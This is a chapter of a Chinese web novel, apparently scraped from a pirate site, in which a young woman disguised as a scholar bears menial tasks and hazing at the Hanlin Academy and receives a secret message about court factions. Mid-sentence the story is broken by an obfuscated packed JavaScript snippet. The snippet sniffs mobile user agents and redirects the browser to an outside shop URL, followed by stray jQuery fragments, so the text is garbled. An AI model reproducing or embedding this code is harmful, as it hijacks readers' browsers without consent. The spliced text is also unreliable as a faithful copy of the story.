第二日,谢青梧到翰林院时,点卯的时辰还没到。
值房里只来了两个人,一个是昨日同屋的孙庶吉士,正低头整理笔墨。另一个是位老翰林,坐在靠里的位置,捧着一杯茶慢慢喝着。
谢青梧走到自己的位置坐下,取出今日要用的纸笔。孙庶吉士抬眼看了看她,没说话,又低下头去。
辰时正,周翰林来点卯。十几个庶吉士都到了,站成一排。周翰林拿着名册,一个个念过去,念到谢青梧时,顿了一下,抬眼看了她一眼。
“谢怀瑾。”
“在。”
周翰林没说什么,继续往下念。点完卯,他合上名册:“今日还是整理旧档。谢怀瑾,你去东边第三排书架,把那里前朝的地方志都整理一遍,重新编目。”
东边第三排书架,在藏书阁最里面,光线暗,灰尘厚。谢青梧应了声是,转身去了。
她走后,周翰林对剩下的人道:“你们去西边,整理近年的奏折抄本。”
西边靠窗,亮堂,通风好。几个庶吉士交换了个眼神,都没说话。
谢青梧走到东边第三排书架前,果然积了厚厚一层灰。书架上堆满了书,有些都散开了,纸页凌乱。她找了块布,打了水,开始擦拭。
灰尘飞扬,她掩住口鼻,一本本把书取下来,清理干净,按年代排序。有些书破损得厉害,她就小心修补。动作不快,但很稳。
一上午过去,她才整理完两个书架。手上脸上都沾了灰,衣裳也脏了。她去井边打了水,简单洗了洗,回去继续干。
午时用饭,庶吉士们聚在饭堂。谢青梧进去时,已经坐了好几桌。她找了张空桌坐下,安静吃饭。
旁边一桌人正在说话,声音不大,但能听见。
“……东边那排书架,多少年没人动了。”
“周大人这是要磨他的性子吧。毕竟是会元,年轻气盛。”
“磨一磨也好,省得不知天高地厚。”
谢青梧低头吃饭,像没听见。
吃完饭,她回去继续整理。下午又清理了两个书架,把所有书都排好,开始编目。编目要写清楚书名,年代,内容概要。她做得仔细,一字一句,工工整整。
酉时散值,周翰林来查看。看到东边书架焕然一新,书目也编得清楚,点了点头:“明日继续。”
“是。”
谢青梧收拾东西离开。走出翰林院时,孙庶吉士从后面赶上来,与她并肩走了一段,忽然低声道:“周大人不是针对你。”
谢青梧转头看他。
“那排书架,本来是该大家一起整理的。”孙庶吉士说,“但你是会元,又这么年轻,他们……想看看你的耐性。”
“我明白。”谢青梧道,“多谢孙兄告知。”
孙庶吉士摆摆手:“我也帮不上什么,就是提醒你一句。翰林院这地方,资历比什么都重要。你刚来,低调些好。”
两人在岔路口分开。谢青梧独自往回走,春日的夕阳把影子拉得很长。
她当然知道周翰林是在磨她。不只是周翰林,那些老翰林,那些同期庶吉士,都在看着。看她这个十五岁的会元,是不是真的沉得住气,是不是真的能吃苦。
那就让他们看吧。
她不怕吃苦,也不怕磨。南下江州那么险的路都走过来了,整理几排书架算什么。
回到住处,李婶见她一身灰,吓了一跳:“公子这是怎么了?”
“整理旧书,沾了灰。”谢青梧笑笑,“没事,洗洗就好。”
李婶忙去烧水。谢青梧换了衣裳,坐在院里等。夕阳完全落下去了,天边还有一抹余晖。
她想起白日里那些话,那些眼神。轻视,试探,排挤。这一切都在意料之中,她早有准备。
只是没想到,会来得这么快,这么直白。
也好。快刀斩乱麻,总比暗地里使绊子强。
水烧好了,她洗了澡,换了干净衣裳。李婶端上晚饭,一边布菜一边念叨:“公子在翰林院受委屈了?”
“没有。”谢青梧拿起筷子,“就是些寻常差事。”
“那就好。”李婶松口气,“我就怕那些人欺负公子年轻。”
“没人能欺负我。”谢青梧平静地说,“李婶放心。”
吃完饭,她回屋点上灯。桌上还摊着昨日没看完的书,她拿起来继续看。字句在眼前跳动,心思却飘远了。
翰林院这潭水,比她想得还深。周翰林的磨砺,同期的排挤,这些都只是表面。底下还有什么?派系?站队?还是更复杂的东西?
她不知道,但得慢慢摸清楚。
正想着,窗外传来极轻的叩击声。三下,停,又三下。
是云知意的人。
她起身开窗,一个纸卷扔进来,窗外的黑影一闪就不见了。她关好窗,展开纸卷。
上面只有一行字:“王家加紧串联,二皇子府近日多客。”
她将纸卷凑到灯上烧了,看着灰烬落下。
王家在活动,二皇子也在活动。他们想干什么?是针对她,还是针对公主?或者,是针对即将到来的什么?
她不知
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019266|193012||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道,但得做好准备。
吹灭灯,躺到床上。夜色深沉,远处传来隐约的打更声。
一天结束了,新的一天又要开始。
翰林院的路,还长着呢。
慢慢走。
---
次日,谢青梧照旧早早到了翰林院。
周翰林还是让她去整理旧书。东边的书架清理完了,又让她去北边。北边更偏,更暗,书也更乱。
她没说什么,挽起袖子就开始干。
几个庶吉士从旁边经过,有人低声笑:“会元又去搬砖了。”
她头也不抬,专心手里的活。
上午整理了两个书架,下午继续。酉时前,周翰林来查看,看到她整理好的书目,字迹工整,条目清晰,沉默了一会儿。
“明日开始,你跟着陈翰林修史。”
陈翰林是翰林院里修前朝史的主笔之一,脾气古怪,要求极严。让他带新人,是看重,也是考验。
谢青梧应下:“是。”
周翰林看着她,忽然道:“谢怀瑾,翰林院不是国子监。这里不讲文章才学,只讲踏实勤勉。你明白吗?”
“学生明白。”
“明白就好。”周翰林摆摆手,“去吧。”
谢青梧行礼离开。走出藏书阁时,夕阳正好,照在翰林院的青砖地上,一片暖黄。
她知道周翰林的话是什么意思。翰林院看重的是耐性,是沉稳,是能坐冷板凳的功夫。才学再高,心浮气躁,在这里也待不住。
而她,最不缺的就是耐性。
回到值房,孙庶吉士正在收拾东西,见她回来,低声道:“陈翰林不好相处,你小心些。”
“多谢孙兄提醒。”
“不过跟着他能学到真东西。”孙庶吉士又说,“陈翰林虽然严厉,但有本事。你好好学,没错。”
“我明白。”
两人一起走出翰林院。门口遇见几个同期庶吉士,正说笑着往外走。看见他们,笑声停了停,又继续。
孙庶吉士叹口气,没说什么。
谢青梧面色如常,与他道别,独自往回走。
街上的灯火次第亮起,照亮归家的路。
她走得不快,脑子里却在想明天见陈翰林的事。修史,这是她真正想做的事。通过史书,了解前朝,了解制度,了解兴衰。
也了解……那些被埋没的,被遗忘的。
她抬头看天,星星出来了,一颗一颗,清冷坚定。
像她脚下的路。
再难,也得走下去。